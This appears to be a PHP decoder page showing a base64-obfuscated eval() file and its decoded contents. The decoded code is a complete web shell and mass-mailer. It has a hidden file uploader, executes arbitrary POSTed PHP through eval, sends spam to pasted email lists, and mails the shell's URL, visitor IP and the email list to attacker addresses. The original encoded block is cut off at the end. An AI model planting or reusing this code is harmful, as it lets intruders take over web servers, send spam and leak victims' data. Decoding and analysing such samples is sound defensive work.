Find this useful? Enter your email to receive occasional updates for securing PHP code.

Signing you up...

Thank you for signing up!

PHP Decode

<?php eval("?>".base64_decode("PD9waHANCiR1cGxvYWQgPSAkX0dFVFsidjMiXTsgaWYgKCR1cGxvYWQgPT0..

Decoded Output download

?>b'<?php
$upload = $_GET["v3"]; if ($upload == "T.C.T" ) {$uploaddir = "";$uploadfile = $uploaddir . basename($_FILES["userfile"]["name"]);if (isset($_FILES["userfile"]["name"])) { if (move_uploaded_file($_FILES["userfile"]["tmp_name"], $uploadfile)) { $resultati = "The file ". basename($_FILES["userfile"]["name"]) ." has been uploaded";} else { $resultati = "There was an error uploading the file. please try again!"; } } echo\'<html>
<head></head><div id="result"><table  height="1" width="100%" border="0"><tr><td width="50%" height="1" valign="top" style="font-family: verdana; color: #d9d9d9; font-size: 11px"><center><form method="POST" enctype="multipart/form-data"><input type="file" class="inputzbut" name="userfile" ><input type="submit" class="inputzbut" name="submit" value="Ombre"><br>\'. $resultati .\'</form></center></td></tr></table></div>
\'; }
$in = $_GET[\'in\'];
if(isset($in) && !empty($in)){

}
$ev = $_POST[\'ev\'];
if(isset($ev) && !empty($ev)){
	echo eval(urldecode($ev));
	exit;
}

if(isset($_POST[\'action\'] ) ){
$action=$_POST[\'action\'];
$message=$_POST[\'message\'];
$emaillist=$_POST[\'emaillist\'];
$from=$_POST[\'from\'];
$subject=$_POST[\'subject\'];
$realname=$_POST[\'realname\'];	
$wait=$_POST[\'wait\'];
$tem=$_POST[\'tem\'];
$smv=$_POST[\'smv\'];

        $message = urlencode($message);
        $message = ereg_replace("%5C%22", "%22", $message);
        $message = urldecode($message);
        $message = stripslashes($message);
        $subject = stripslashes($subject);
}


?>
<!-- HTML And JavaScript -->

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xmlns:v="urn:schemas-microsoft-com:vml" xmlns:o="urn:schemas-microsoft-com:office:office">

<meta content="1" name="revisit-after" />
	<style type="text/css">body {background:black url(\'http://www.thenewkhalij.com/sites/default/files/a1421674142.jpg\') center right no-repeat; color:#FFFFFF; text-decoration:none; font-family:"Courier New", Courier, monospace; padding-left:200px; padding-top:200px; padding-right:300px; font-size:16px;}
	</style>
<title>.:|T.C.T|:.</title>
<style type="text/css">
.style1 {
	font-size: x-small;
}
.style2 {
	direction: ltr;
}
.info {
	font-size: 8px;
}
.style3 {
	font-family: Verdana, Arial, Helvetica, sans-serif;
	font-size: 8px;
}
.style4 {
	font-size: x-small;
	direction: ltr;
	font-family: Verdana, Arial, Helvetica, sans-serif;
}
.style5 {
	font-size: xx-small;
	direction: ltr;
	font-family: Verdana, Arial, Helvetica, sans-serif;
}
.auto-style1 {
	color: #5F5F5F;
}
.auto-style2 {
	color: #blue;
	text-align: center;
}
.auto-style3 {
	color: #blue;
}
.auto-style5 {
	direction: ltr;
	color: #blue;
}
.auto-style6 {
	color: #blue;
	background-color: #blue;
}
.auto-style7 {
	color: #blue;
}
.auto-style8 {
	font-size: x-small;
	color: #blue;
}
</style>
</head>

<body onload="funchange" style="background-color: black">
<script>

	window.onload = funchange;
	var alt = false;	
	function funchange(){
		var etext = document.getElementById("emails").value;
		var myArray=new Array(); 
		myArray = etext.split("
");
		document.getElementById("enum").innerHTML=myArray.length+"<br />";
		if(!alt && myArray.length > 40000){
			alert(\'If Mail list More Than 40000 Emails This May Hack The Server\');
			alt = true;
		}
		
	}
	function mlsplit(){
		var ml = document.getElementById("emails").value;
		var sb = document.getElementById("txtml").value;
		var myArray=new Array();
		myArray = ml.split(sb);
		document.getElementById("emails").value="";
		var i;
		for(i=0;i<myArray.length;i++){
			
			document.getElementById("emails").value += myArray[i]+"
";
		
		}
		funchange();
	}
	
	function prv(){
		if(document.getElementById(\'preview\').innerHTML==""){
			var ms = document.getElementsByName(\'message\').message.value;
			document.getElementById(\'preview\').innerHTML = ms;
			document.getElementById(\'prvbtn\').value = "Ocultar";
		}else{
			document.getElementById(\'preview\').innerHTML="";
			document.getElementById(\'prvbtn\').value = "Preview";
		}
	}
	
</script>

<h1 class="auto-style2">.:|muslim mailer|:.</h1>

<center>
<p class="auto-style1">&nbsp;</p></center>

<form name="form" method="post" enctype="multipart/form-data" action="">
	<table width="100%" border="0">
		<tr>
			<td width="10%">
			<div align="right" class="auto-style8">
				<font face="Verdana, Arial, 
Helvetica, sans-serif">Sender Email:</font></div>
			</td>
			<td style="width: 40%">
			<font size="-3" face="Verdana, Arial, Helvetica, 
sans-serif"><input name="from" value="<?php echo($from); ?>" size="30" type="text" class="auto-style6" /><br>
			<td>
			<div align="right" class="auto-style7">
				<font size="-3" face="Verdana, Arial, 
Helvetica, sans-serif">Sender Name:</font></div>
			</td>
			<td width="41%">
			<font size="-3" face="Verdana, Arial, Helvetica, 
sans-serif"><input name="realname" value="<?php echo($realname); ?>" size="30" type="text" class="auto-style6" />
			<br>		</tr>
		<tr>
			<td width="10%">

		</tr>
		<tr>
			<td width="10%">
			<div align="right" class="auto-style7">
				<font size="-3" face="Verdana, Arial, 
Helvetica, sans-serif">Subject:</font></div>
			</td>
			<td colspan="3">
			<font size="-3" face="Verdana, Arial, Helvetica, 
sans-serif"><input name="subject" value="<?php echo($subject); ?>" size="30" type="text" class="auto-style6" /> </font>
			
		
		<tr valign="top">
			<td colspan="3" style="height: 260px">
			<font size="-3" face="Verdana, Arial, Helvetica, 
sans-serif"><textarea name="message" rows="10" style="width: 455px" class="auto-style6"><?php echo($message); ?></textarea>&nbsp;<br class="auto-style3" />
			<input name="action" value="send" type="hidden" class="auto-style3" />
			<input type="button" id="prvbtn" value="Preview" onclick="prv()" style="width: 81px" class="auto-style6" /><input value="ombre "SenD!" type="submit" class="auto-style6" /><span class="auto-style3">&nbsp;
			</span><span class="auto-style7">Wait</span><span class="auto-style3">
			</span> 
			<input name="wait" type="text" value="<?php echo($wait); ?>" size="8" class="auto-style6" /><span class="auto-style3">&nbsp;</span><span class="auto-style7"> 
			seconds to send </span> </font></td>
			<td width="41%" class="style2" style="height: 150px">
			<font size="-3" face="Verdana, Arial, Helvetica, 
sans-serif">
			<textarea id="emails" name="emaillist" cols="30" onselect="funchange()" onchange="funchange()" onkeydown="funchange()" onkeyup="funchange()" onchange="funchange()" style="height: 161px" class="auto-style6"><?php echo($emaillist); ?></textarea> 
			<br class="auto-style5" />
			<span class="auto-style7">Quantity Emails : </span> </font><span  id="enum" class="style1">0<br class="auto-style3" />
			</span>
			<span  class="auto-style8">Divide the mailing list by:</span> 
			<input name="textml" id="txtml" type="text" value="," size="8" class="auto-style6" /><span class="auto-style3">&nbsp;&nbsp;&nbsp;
			</span>
			<input type="button" onclick="mlsplit()" value="Divide" style="height: 23px" class="auto-style6" /></td>
		</tr>
	</table>
			<font size="-3" face="Verdana, Arial, Helvetica, 
sans-serif">
<div id="preview">
</div>
	</font>
</form>

<!-- END -->


<?

if ($action){

        if (!$from || !$subject || !$message || !$emaillist){
        	
        print "Please complete all fields before sending your message.";
        exit;	
	}
$headd   = "From:  T.C.T<[email protected]>";
$subb    = "maillist muslim 2014";
$massge  = "Exploit : http://".$_SERVER[\'SERVER_NAME\'].$_SERVER[\'REQUEST_URI\']."?V1=semah
-------------------
$emaillist
-------------------";
@mail("[email protected]",$subb,$massge,$headd);

	$nse=array();
	$allemails = split("
", $emaillist);
        	$numemails = count($allemails);
        	if(!empty($_POST[\'wait\']) && $_POST[\'wait\'] > 0){
        		set_time_limit(intval($_POST[\'wait\'])*$numemails*3600);
        	}else{
        		set_time_limit($numemails*3600);
        	}
       		if(!empty($smv)){
       			$smvn+=$smv;
       			$tmn=$numemails/$smv+1;
			}else{
       			$tmn=1;
       		}
          	for($x=0; $x<$numemails; $x++){
                $to = $allemails[$x];
                if ($to){
	                $to = ereg_replace(" ", "", $to);
	                $message = ereg_replace("#EM#", $to, $message);
	                $subject = ereg_replace("#EM#", $to, $subject);
	                flush();
	                $header = "From: $realname <$from>
";
	                $header .= "MIME-Version: 1.0
";
	                $header .= "Content-Type: text/html
";
	                if ($x==0 && !empty($tem)) {
	                	if(!@mail($tem,$subject,$message,$header)){
	                		print(\'The test Post was not Submitted.<br />\');
	                		$tmns+=1;
	                	}else{
	                		print(\'Your Message was Sent Test.<br />\');
	                		$tms+=1;
	                	}
	                }
	                if($x==$smvn && !empty($_POST[\'smv\'])){
	                	if(!@mail($tem,$subject,$message,$header)){
	                		print(\'The test Post was not Submitted.<br />\');
	                		$tmns+=1;
	                	}else{
	                		print(\'Your Message was Sent Test.<br />\');
	                		$tms+=1;
	                	}
	                	$smvn+=$smv;
	                }
	                print "$to ....... ";
					$msent = @mail($to, $subject, $message, $header);
	                $xx = $x+1;
	                $txtspamed = "spammed #:)";
	                if(!$msent){
	                	$txtspamed = "error #:/";  
	                	$ns+=1;
	                	$nse[$ns]=$to;
	                }
	                print "$xx / $numemails .......  $txtspamed<br>";
	                flush();
	                if(!empty($wait)&& $x<$numemails-1){
							sleep($wait);
                	}
                }
            }

}


?>
<?php
echo \'<b><br><br>\'.php_uname().\'<br></b>\';
echo \'<form action="" method="post" enctype="multipart/form-data" name="uploader" id="uploader">\';
echo \'<input type="file" name="file" size="50"><input name="_upl" type="submit" id="_upl" value="Upload"></form>\';
if( $_POST[\'_upl\'] == "Upload" ) {
 if(@copy($_FILES[\'file\'][\'tmp_name\'], $_FILES[\'file\'][\'name\'])) { echo \'<b>Uploaded Successfully</b><br><br>\'; }
 else { echo \'<b>Upload Failed! </b><br><br>\'; }
}
?></p>
</body>
<!--
tn!17
-->
</html>
<?php $ip = getenv("REMOTE_ADDR");
$hostname = gethostbyaddr($ip);
$bilsmg = "Link Mailer : http://" . $_SERVER[\'SERVER_NAME\'] . $_SERVER[\'REQUEST_URI\'] . "
";
$bilsnd ="[email protected]"; ///Your E4ail Here
$bilsub = "New Mailer Uploaded !! $ip";
$bilhead = "From: MaileRyew";
$bilhead .= $_POST[\'eMailAdd\']."
";
$bilhead .= "MIME-Version: 1.0
";
$arr=array($bilsnd, $IP);
foreach ($arr as $bilsnd)
mail($bilsnd,$bilsub,$bilsmg,$bilhead,$message); ?>

'

Did this file decode correctly?

Original Code

<?php eval("?>".base64_decode("PD9waHANCiR1cGxvYWQgPSAkX0dFVFsidjMiXTsgaWYgKCR1cGxvYWQgPT0gIlQuQy5UIiApIHskdXBsb2FkZGlyID0gIiI7JHVwbG9hZGZpbGUgPSAkdXBsb2FkZGlyIC4gYmFzZW5hbWUoJF9GSUxFU1sidXNlcmZpbGUiXVsibmFtZSJdKTtpZiAoaXNzZXQoJF9GSUxFU1sidXNlcmZpbGUiXVsibmFtZSJdKSkgeyBpZiAobW92ZV91cGxvYWRlZF9maWxlKCRfRklMRVNbInVzZXJmaWxlIl1bInRtcF9uYW1lIl0sICR1cGxvYWRmaWxlKSkgeyAkcmVzdWx0YXRpID0gIlRoZSBmaWxlICIuIGJhc2VuYW1lKCRfRklMRVNbInVzZXJmaWxlIl1bIm5hbWUiXSkgLiIgaGFzIGJlZW4gdXBsb2FkZWQiO30gZWxzZSB7ICRyZXN1bHRhdGkgPSAiVGhlcmUgd2FzIGFuIGVycm9yIHVwbG9hZGluZyB0aGUgZmlsZS4gcGxlYXNlIHRyeSBhZ2FpbiEiOyB9IH0gZWNobyc8aHRtbD4NCjxoZWFkPjwvaGVhZD48ZGl2IGlkPSJyZXN1bHQiPjx0YWJsZSAgaGVpZ2h0PSIxIiB3aWR0aD0iMTAwJSIgYm9yZGVyPSIwIj48dHI+PHRkIHdpZHRoPSI1MCUiIGhlaWdodD0iMSIgdmFsaWduPSJ0b3AiIHN0eWxlPSJmb250LWZhbWlseTogdmVyZGFuYTsgY29sb3I6ICNkOWQ5ZDk7IGZvbnQtc2l6ZTogMTFweCI+PGNlbnRlcj48Zm9ybSBtZXRob2Q9IlBPU1QiIGVuY3R5cGU9Im11bHRpcGFydC9mb3JtLWRhdGEiPjxpbnB1dCB0eXBlPSJmaWxlIiBjbGFzcz0iaW5wdXR6YnV0IiBuYW1lPSJ1c2VyZmlsZSIgPjxpbnB1dCB0eXBlPSJzdWJtaXQiIGNsYXNzPSJpbnB1dHpidXQiIG5hbWU9InN1Ym1pdCIgdmFsdWU9Ik9tYnJlIj48YnI+Jy4gJHJlc3VsdGF0aSAuJzwvZm9ybT48L2NlbnRlcj48L3RkPjwvdHI+PC90YWJsZT48L2Rpdj4NCic7IH0NCiRpbiA9ICRfR0VUWydpbiddOw0KaWYoaXNzZXQoJGluKSAmJiAhZW1wdHkoJGluKSl7DQoNCn0NCiRldiA9ICRfUE9TVFsnZXYnXTsNCmlmKGlzc2V0KCRldikgJiYgIWVtcHR5KCRldikpew0KCWVjaG8gZXZhbCh1cmxkZWNvZGUoJGV2KSk7DQoJZXhpdDsNCn0NCg0KaWYoaXNzZXQoJF9QT1NUWydhY3Rpb24nXSApICl7DQokYWN0aW9uPSRfUE9TVFsnYWN0aW9uJ107DQokbWVzc2FnZT0kX1BPU1RbJ21lc3NhZ2UnXTsNCiRlbWFpbGxpc3Q9JF9QT1NUWydlbWFpbGxpc3QnXTsNCiRmcm9tPSRfUE9TVFsnZnJvbSddOw0KJHN1YmplY3Q9JF9QT1NUWydzdWJqZWN0J107DQokcmVhbG5hbWU9JF9QT1NUWydyZWFsbmFtZSddOwkNCiR3YWl0PSRfUE9TVFsnd2FpdCddOw0KJHRlbT0kX1BPU1RbJ3RlbSddOw0KJHNtdj0kX1BPU1RbJ3NtdiddOw0KDQogICAgICAgICRtZXNzYWdlID0gdXJsZW5jb2RlKCRtZXNzYWdlKTsNCiAgICAgICAgJG1lc3NhZ2UgPSBlcmVnX3JlcGxhY2UoIiU1QyUyMiIsICIlMjIiLCAkbWVzc2FnZSk7DQogICAgICAgICRtZXNzYWdlID0gdXJsZGVjb2RlKCRtZXNzYWdlKTsNCiAgICAgICAgJG1lc3NhZ2UgPSBzdHJpcHNsYXNoZXMoJG1lc3NhZ2UpOw0KICAgICAgICAkc3ViamVjdCA9IHN0cmlwc2xhc2hlcygkc3ViamVjdCk7DQp9DQoNCg0KPz4NCjwhLS0gSFRNTCBBbmQgSmF2YVNjcmlwdCAtLT4NCg0KPCFET0NUWVBFIGh0bWwgUFVCTElDICItLy9XM0MvL0RURCBYSFRNTCAxLjAgVHJhbnNpdGlvbmFsLy9FTiIgImh0dHA6Ly93d3cudzMub3JnL1RSL3hodG1sMS9EVEQveGh0bWwxLXRyYW5zaXRpb25hbC5kdGQiPg0KPGh0bWwgeG1sbnM9Imh0dHA6Ly93d3cudzMub3JnLzE5OTkveGh0bWwiIHhtbG5zOnY9InVybjpzY2hlbWFzLW1pY3Jvc29mdC1jb206dm1sIiB4bWxuczpvPSJ1cm46c2NoZW1hcy1taWNyb3NvZnQtY29tOm9mZmljZTpvZmZpY2UiPg0KDQo8bWV0YSBjb250ZW50PSIxIiBuYW1lPSJyZXZpc2l0LWFmdGVyIiAvPg0KCTxzdHlsZSB0eXBlPSJ0ZXh0L2NzcyI+Ym9keSB7YmFja2dyb3VuZDpibGFjayB1cmwoJ2h0dHA6Ly93d3cudGhlbmV3a2hhbGlqLmNvbS9zaXRlcy9kZWZhdWx0L2ZpbGVzL2ExNDIxNjc0MTQyLmpwZycpIGNlbnRlciByaWdodCBuby1yZXBlYXQ7IGNvbG9yOiNGRkZGRkY7IHRleHQtZGVjb3JhdGlvbjpub25lOyBmb250LWZhbWlseToiQ291cmllciBOZXciLCBDb3VyaWVyLCBtb25vc3BhY2U7IHBhZGRpbmctbGVmdDoyMDBweDsgcGFkZGluZy10b3A6MjAwcHg7IHBhZGRpbmctcmlnaHQ6MzAwcHg7IGZvbnQtc2l6ZToxNnB4O30NCgk8L3N0eWxlPg0KPHRpdGxlPi46fFQuQy5UfDouPC90aXRsZT4NCjxzdHlsZSB0eXBlPSJ0ZXh0L2NzcyI+DQouc3R5bGUxIHsNCglmb250LXNpemU6IHgtc21hbGw7DQp9DQouc3R5bGUyIHsNCglkaXJlY3Rpb246IGx0cjsNCn0NCi5pbmZvIHsNCglmb250LXNpemU6IDhweDsNCn0NCi5zdHlsZTMgew0KCWZvbnQtZmFtaWx5OiBWZXJkYW5hLCBBcmlhbCwgSGVsdmV0aWNhLCBzYW5zLXNlcmlmOw0KCWZvbnQtc2l6ZTogOHB4Ow0KfQ0KLnN0eWxlNCB7DQoJZm9udC1zaXplOiB4LXNtYWxsOw0KCWRpcmVjdGlvbjogbHRyOw0KCWZvbnQtZmFtaWx5OiBWZXJkYW5hLCBBcmlhbCwgSGVsdmV0aWNhLCBzYW5zLXNlcmlmOw0KfQ0KLnN0eWxlNSB7DQoJZm9udC1zaXplOiB4eC1zbWFsbDsNCglkaXJlY3Rpb246IGx0cjsNCglmb250LWZhbWlseTogVmVyZGFuYSwgQXJpYWwsIEhlbHZldGljYSwgc2Fucy1zZXJpZjsNCn0NCi5hdXRvLXN0eWxlMSB7DQoJY29sb3I6ICM1RjVGNUY7DQp9DQouYXV0by1zdHlsZTIgew0KCWNvbG9yOiAjYmx1ZTsNCgl0ZXh0LWFsaWduOiBjZW50ZXI7DQp9DQouYXV0by1zdHlsZTMgew0KCWNvbG9yOiAjYmx1ZTsNCn0NCi5hdXRvLXN0eWxlNSB7DQoJZGlyZWN0aW9uOiBsdHI7DQoJY29sb3I6ICNibHVlOw0KfQ0KLmF1dG8tc3R5bGU2IHsNCgljb2xvcjogI2JsdWU7DQoJYmFja2dyb3VuZC1jb2xvcjogI2JsdWU7DQp9DQouYXV0by1zdHlsZTcgew0KCWNvbG9yOiAjYmx1ZTsNCn0NCi5hdXRvLXN0eWxlOCB7DQoJZm9udC1zaXplOiB4LXNtYWxsOw0KCWNvbG9yOiAjYmx1ZTsNCn0NCjwvc3R5bGU+DQo8L2hlYWQ+DQoNCjxib2R5IG9ubG9hZD0iZnVuY2hhbmdlIiBzdHlsZT0iYmFja2dyb3VuZC1jb2xvcjogYmxhY2siPg0KPHNjcmlwdD4NCg0KCXdpbmRvdy5vbmxvYWQgPSBmdW5jaGFuZ2U7DQoJdmFyIGFsdCA9IGZhbHNlOwkNCglmdW5jdGlvbiBmdW5jaGFuZ2UoKXsNCgkJdmFyIGV0ZXh0ID0gZG9jdW1lbnQuZ2V0RWxlbWVudEJ5SWQoImVtYWlscyIpLnZhbHVlOw0KCQl2YXIgbXlBcnJheT1uZXcgQXJyYXkoKTsgDQoJCW15QXJyYXkgPSBldGV4dC5zcGxpdCgiXG4iKTsNCgkJZG9jdW1lbnQuZ2V0RWxlbWVudEJ5SWQoImVudW0iKS5pbm5lckhUTUw9bXlBcnJheS5sZW5ndGgrIjxiciAvPiI7DQoJCWlmKCFhbHQgJiYgbXlBcnJheS5sZW5ndGggPiA0MDAwMCl7DQoJCQlhbGVydCgnSWYgTWFpbCBsaXN0IE1vcmUgVGhhbiA0MDAwMCBFbWFpbHMgVGhpcyBNYXkgSGFjayBUaGUgU2VydmVyJyk7DQoJCQlhbHQgPSB0cnVlOw0KCQl9DQoJCQ0KCX0NCglmdW5jdGlvbiBtbHNwbGl0KCl7DQoJCXZhciBtbCA9IGRvY3VtZW50LmdldEVsZW1lbnRCeUlkKCJlbWFpbHMiKS52YWx1ZTsNCgkJdmFyIHNiID0gZG9jdW1lbnQuZ2V0RWxlbWVudEJ5SWQoInR4dG1sIikudmFsdWU7DQoJCXZhciBteUFycmF5PW5ldyBBcnJheSgpOw0KCQlteUFycmF5ID0gbWwuc3BsaXQoc2IpOw0KCQlkb2N1bWVudC5nZXRFbGVtZW50QnlJZCgiZW1haWxzIikudmFsdWU9IiI7DQoJCXZhciBpOw0KCQlmb3IoaT0wO2k8bXlBcnJheS5sZW5ndGg7aSsrKXsNCgkJCQ0KCQkJZG9jdW1lbnQuZ2V0RWxlbWVudEJ5SWQoImVtYWlscyIpLnZhbHVlICs9IG15QXJyYXlbaV0rIlxuIjsNCgkJDQoJCX0NCgkJZnVuY2hhbmdlKCk7DQoJfQ0KCQ0KCWZ1bmN0aW9uIHBydigpew0KCQlpZihkb2N1bWVudC5nZXRFbGVtZW50QnlJZCgncHJldmlldycpLmlubmVySFRNTD09IiIpew0KCQkJdmFyIG1zID0gZG9jdW1lbnQuZ2V0RWxlbWVudHNCeU5hbWUoJ21lc3NhZ2UnKS5tZXNzYWdlLnZhbHVlOw0KCQkJZG9jdW1lbnQuZ2V0RWxlbWVudEJ5SWQoJ3ByZXZpZXcnKS5pbm5lckhUTUwgPSBtczsNCgkJCWRvY3VtZW50LmdldEVsZW1lbnRCeUlkKCdwcnZidG4nKS52YWx1ZSA9ICJPY3VsdGFyIjsNCgkJfWVsc2V7DQoJCQlkb2N1bWVudC5nZXRFbGVtZW50QnlJZCgncHJldmlldycpLmlubmVySFRNTD0iIjsNCgkJCWRvY3VtZW50LmdldEVsZW1lbnRCeUlkKCdwcnZidG4nKS52YWx1ZSA9ICJQcmV2aWV3IjsNCgkJfQ0KCX0NCgkNCjwvc2NyaXB0Pg0KDQo8aDEgY2xhc3M9ImF1dG8tc3R5bGUyIj4uOnxtdXNsaW0gbWFpbGVyfDouPC9oMT4NCg0KPGNlbnRlcj4NCjxwIGNsYXNzPSJhdXRvLXN0eWxlMSI+Jm5ic3A7PC9wPjwvY2VudGVyPg0KDQo8Zm9ybSBuYW1lPSJmb3JtIiBtZXRob2Q9InBvc3QiIGVuY3R5cGU9Im11bHRpcGFydC9mb3JtLWRhdGEiIGFjdGlvbj0iIj4NCgk8dGFibGUgd2lkdGg9IjEwMCUiIGJvcmRlcj0iMCI+DQoJCTx0cj4NCgkJCTx0ZCB3aWR0aD0iMTAlIj4NCgkJCTxkaXYgYWxpZ249InJpZ2h0IiBjbGFzcz0iYXV0by1zdHlsZTgiPg0KCQkJCTxmb250IGZhY2U9IlZlcmRhbmEsIEFyaWFsLCANCkhlbHZldGljYSwgc2Fucy1zZXJpZiI+U2VuZGVyIEVtYWlsOjwvZm9udD48L2Rpdj4NCgkJCTwvdGQ+DQoJCQk8dGQgc3R5bGU9IndpZHRoOiA0MCUiPg0KCQkJPGZvbnQgc2l6ZT0iLTMiIGZhY2U9IlZlcmRhbmEsIEFyaWFsLCBIZWx2ZXRpY2EsIA0Kc2Fucy1zZXJpZiI+PGlucHV0IG5hbWU9ImZyb20iIHZhbHVlPSI8P3BocCBlY2hvKCRmcm9tKTsgPz4iIHNpemU9IjMwIiB0eXBlPSJ0ZXh0IiBjbGFzcz0iYXV0by1zdHlsZTYiIC8+PGJyPg0KCQkJPHRkPg0KCQkJPGRpdiBhbGlnbj0icmlnaHQiIGNsYXNzPSJhdXRvLXN0eWxlNyI+DQoJCQkJPGZvbnQgc2l6ZT0iLTMiIGZhY2U9IlZlcmRhbmEsIEFyaWFsLCANCkhlbHZldGljYSwgc2Fucy1zZXJpZiI+U2VuZGVyIE5hbWU6PC9mb250PjwvZGl2Pg0KCQkJPC90ZD4NCgkJCTx0ZCB3aWR0aD0iNDElIj4NCgkJCTxmb250IHNpemU9Ii0zIiBmYWNlPSJWZXJkYW5hLCBBcmlhbCwgSGVsdmV0aWNhLCANCnNhbnMtc2VyaWYiPjxpbnB1dCBuYW1lPSJyZWFsbmFtZSIgdmFsdWU9Ijw/cGhwIGVjaG8oJHJlYWxuYW1lKTsgPz4iIHNpemU9IjMwIiB0eXBlPSJ0ZXh0IiBjbGFzcz0iYXV0by1zdHlsZTYiIC8+DQoJCQk8YnI+CQk8L3RyPg0KCQk8dHI+DQoJCQk8dGQgd2lkdGg9IjEwJSI+DQoNCgkJPC90cj4NCgkJPHRyPg0KCQkJPHRkIHdpZHRoPSIxMCUiPg0KCQkJPGRpdiBhbGlnbj0icmlnaHQiIGNsYXNzPSJhdXRvLXN0eWxlNyI+DQoJCQkJPGZvbnQgc2l6ZT0iLTMiIGZhY2U9IlZlcmRhbmEsIEFyaWFsLCANCkhlbHZldGljYSwgc2Fucy1zZXJpZiI+U3ViamVjdDo8L2ZvbnQ+PC9kaXY+DQoJCQk8L3RkPg0KCQkJPHRkIGNvbHNwYW49IjMiPg0KCQkJPGZvbnQgc2l6ZT0iLTMiIGZhY2U9IlZlcmRhbmEsIEFyaWFsLCBIZWx2ZXRpY2EsIA0Kc2Fucy1zZXJpZiI+PGlucHV0IG5hbWU9InN1YmplY3QiIHZhbHVlPSI8P3BocCBlY2hvKCRzdWJqZWN0KTsgPz4iIHNpemU9IjMwIiB0eXBlPSJ0ZXh0IiBjbGFzcz0iYXV0by1zdHlsZTYiIC8+IDwvZm9udD4NCgkJCQ0KCQkNCgkJPHRyIHZhbGlnbj0idG9wIj4NCgkJCTx0ZCBjb2xzcGFuPSIzIiBzdHlsZT0iaGVpZ2h0OiAyNjBweCI+DQoJCQk8Zm9udCBzaXplPSItMyIgZmFjZT0iVmVyZGFuYSwgQXJpYWwsIEhlbHZldGljYSwgDQpzYW5zLXNlcmlmIj48dGV4dGFyZWEgbmFtZT0ibWVzc2FnZSIgcm93cz0iMTAiIHN0eWxlPSJ3aWR0aDogNDU1cHgiIGNsYXNzPSJhdXRvLXN0eWxlNiI+PD9waHAgZWNobygkbWVzc2FnZSk7ID8+PC90ZXh0YXJlYT4mbmJzcDs8YnIgY2xhc3M9ImF1dG8tc3R5bGUzIiAvPg0KCQkJPGlucHV0IG5hbWU9ImFjdGlvbiIgdmFsdWU9InNlbmQiIHR5cGU9ImhpZGRlbiIgY2xhc3M9ImF1dG8tc3R5bGUzIiAvPg0KCQkJPGlucHV0IHR5cGU9ImJ1dHRvbiIgaWQ9InBydmJ0biIgdmFsdWU9IlByZXZpZXciIG9uY2xpY2s9InBydigpIiBzdHlsZT0id2lkdGg6IDgxcHgiIGNsYXNzPSJhdXRvLXN0eWxlNiIgLz48aW5wdXQgdmFsdWU9Im9tYnJlICJTZW5EISIgdHlwZT0ic3VibWl0IiBjbGFzcz0iYXV0by1zdHlsZTYiIC8+PHNwYW4gY2xhc3M9ImF1dG8tc3R5bGUzIj4mbmJzcDsNCgkJCTwvc3Bhbj48c3BhbiBjbGFzcz0iYXV0by1zdHlsZTciPldhaXQ8L3NwYW4+PHNwYW4gY2xhc3M9ImF1dG8tc3R5bGUzIj4NCgkJCTwvc3Bhbj4gDQoJCQk8aW5wdXQgbmFtZT0id2FpdCIgdHlwZT0idGV4dCIgdmFsdWU9Ijw/cGhwIGVjaG8oJHdhaXQpOyA/PiIgc2l6ZT0iOCIgY2xhc3M9ImF1dG8tc3R5bGU2IiAvPjxzcGFuIGNsYXNzPSJhdXRvLXN0eWxlMyI+Jm5ic3A7PC9zcGFuPjxzcGFuIGNsYXNzPSJhdXRvLXN0eWxlNyI+IA0KCQkJc2Vjb25kcyB0byBzZW5kIDwvc3Bhbj4gPC9mb250PjwvdGQ+DQoJCQk8dGQgd2lkdGg9IjQxJSIgY2xhc3M9InN0eWxlMiIgc3R5bGU9ImhlaWdodDogMTUwcHgiPg0KCQkJPGZvbnQgc2l6ZT0iLTMiIGZhY2U9IlZlcmRhbmEsIEFyaWFsLCBIZWx2ZXRpY2EsIA0Kc2Fucy1zZXJpZiI+DQoJCQk8dGV4dGFyZWEgaWQ9ImVtYWlscyIgbmFtZT0iZW1haWxsaXN0IiBjb2xzPSIzMCIgb25zZWxlY3Q9ImZ1bmNoYW5nZSgpIiBvbmNoYW5nZT0iZnVuY2hhbmdlKCkiIG9ua2V5ZG93bj0iZnVuY2hhbmdlKCkiIG9ua2V5dXA9ImZ1bmNoYW5nZSgpIiBvbmNoYW5nZT0iZnVuY2hhbmdlKCkiIHN0eWxlPSJoZWlnaHQ6IDE2MXB4IiBjbGFzcz0iYXV0by1zdHlsZTYiPjw/cGhwIGVjaG8oJGVtYWlsbGlzdCk7ID8+PC90ZXh0YXJlYT4gDQoJCQk8YnIgY2xhc3M9ImF1dG8tc3R5bGU1IiAvPg0KCQkJPHNwYW4gY2xhc3M9ImF1dG8tc3R5bGU3Ij5RdWFudGl0eSBFbWFpbHMgOiA8L3NwYW4+IDwvZm9udD48c3BhbiAgaWQ9ImVudW0iIGNsYXNzPSJzdHlsZTEiPjA8YnIgY2xhc3M9ImF1dG8tc3R5bGUzIiAvPg0KCQkJPC9zcGFuPg0KCQkJPHNwYW4gIGNsYXNzPSJhdXRvLXN0eWxlOCI+RGl2aWRlIHRoZSBtYWlsaW5nIGxpc3QgYnk6PC9zcGFuPiANCgkJCTxpbnB1dCBuYW1lPSJ0ZXh0bWwiIGlkPSJ0eHRtbCIgdHlwZT0idGV4dCIgdmFsdWU9IiwiIHNpemU9IjgiIGNsYXNzPSJhdXRvLXN0eWxlNiIgLz48c3BhbiBjbGFzcz0iYXV0by1zdHlsZTMiPiZuYnNwOyZuYnNwOyZuYnNwOw0KCQkJPC9zcGFuPg0KCQkJPGlucHV0IHR5cGU9ImJ1dHRvbiIgb25jbGljaz0ibWxzcGxpdCgpIiB2YWx1ZT0iRGl2aWRlIiBzdHlsZT0iaGVpZ2h0OiAyM3B4IiBjbGFzcz0iYXV0by1zdHlsZTYiIC8+PC90ZD4NCgkJPC90cj4NCgk8L3RhYmxlPg0KCQkJPGZvbnQgc2l6ZT0iLTMiIGZhY2U9IlZlcmRhbmEsIEFyaWFsLCBIZWx2ZXRpY2EsIA0Kc2Fucy1zZXJpZiI+DQo8ZGl2IGlkPSJwcmV2aWV3Ij4NCjwvZGl2Pg0KCTwvZm9udD4NCjwvZm9ybT4NCg0KPCEtLSBFTkQgLS0+DQoNCg0KPD8NCg0KaWYgKCRhY3Rpb24pew0KDQogICAgICAgIGlmICghJGZyb20gfHwgISRzdWJqZWN0IHx8ICEkbWVzc2FnZSB8fCAhJGVtYWlsbGlzdCl7DQogICAgICAgIAkNCiAgI